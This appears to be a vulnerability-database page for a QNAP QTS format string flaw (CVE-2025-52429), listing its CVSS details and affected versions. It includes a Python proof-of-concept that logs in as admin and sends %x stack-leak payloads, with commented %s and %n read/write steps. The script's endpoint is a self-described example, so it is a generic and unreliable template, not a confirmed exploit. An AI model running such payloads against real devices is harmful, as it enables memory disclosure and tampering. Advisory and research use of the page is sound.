CVE-2025-52429

Description

A use of externally-controlled format string vulnerability has been reported to affect several QNAP operating system versions. If a remote attacker gains an administrator account, they can then exploit the vulnerability to obtain secret data or modify memory. We have already fixed the vulnerability in the following versions: QTS 5.2.6.3195 build 20250715 and later QuTS hero h5.2.6.3195 build 20250715 and later

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:o:qnap:qts:5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2744:build_20240424:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2789:build_20240607:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

QTS < 5.2.6.3195 build 20250715

QuTS hero < h5.2.6.3195 build 20250715

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-52429 PoC - QNAP Format String Vulnerability
# This PoC demonstrates the format string exploitation concept
# Note: Attacker must first obtain admin credentials (PR:H required)

import requests
import sys

TARGET_URL = "https://<qnap-nas-ip>:8080"
ADMIN_USER = "admin"
ADMIN_PASS = "<admin_password>"  # Attacker must have valid admin credentials

def exploit_format_string(target, session, payload):
    """
    Exploit format string vulnerability by injecting format specifiers
    into a vulnerable parameter that is passed to printf-family functions.
    """
    # Example vulnerable endpoint (actual endpoint varies by QTS version)
    vulnerable_endpoint = f"{target}/cgi-bin/qnap/format_endpoint"

    # Format string payloads for different objectives:
    # %x - leak stack values (hex)
    # %s - read string from stack pointer
    # %n - write to memory address on stack
    # %p - leak pointer values

    params = {
        "action": "apply",
        "param": payload  # Inject format string here
    }

    try:
        resp = session.post(vulnerable_endpoint, data=params, verify=False, timeout=10)
        return resp.text
    except Exception as e:
        print(f"[ERROR] Request failed: {e}")
        return None

def main():
    # Step 1: Authenticate as admin (required due to PR:H)
    session = requests.Session()
    login_data = {"username": ADMIN_USER, "password": ADMIN_PASS}
    session.post(f"{TARGET_URL}/cgi-bin/login.cgi", data=login_data, verify=False)

    # Step 2: Probe for format string vulnerability
    print("[*] Probing format string vulnerability...")
    leak_payload = "%x.%x.%x.%x.%x.%x.%x.%x"
    result = exploit_format_string(TARGET_URL, session, leak_payload)
    print(f"[+] Stack leak result: {result}")

    # Step 3: Read memory using %s specifier (requires address control)
    # read_payload = "<address>" + "%s"
    # result = exploit_format_string(TARGET_URL, session, read_payload)

    # Step 4: Write to memory using %n specifier (requires address control)
    # write_payload = "<address>" + "%n"
    # result = exploit_format_string(TARGET_URL, session, write_payload)

    print("[*] Exploitation complete. Patch to QTS 5.2.6.3195 or later.")

if __name__ == "__main__":
    main()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-52429
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-52429
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-52429/
[4] VulDB https://vuldb.com/cve/CVE-2025-52429
[5] https://www.qnap.com/en/security-advisory/qsa-25-36

Raw JSON Data

JSON

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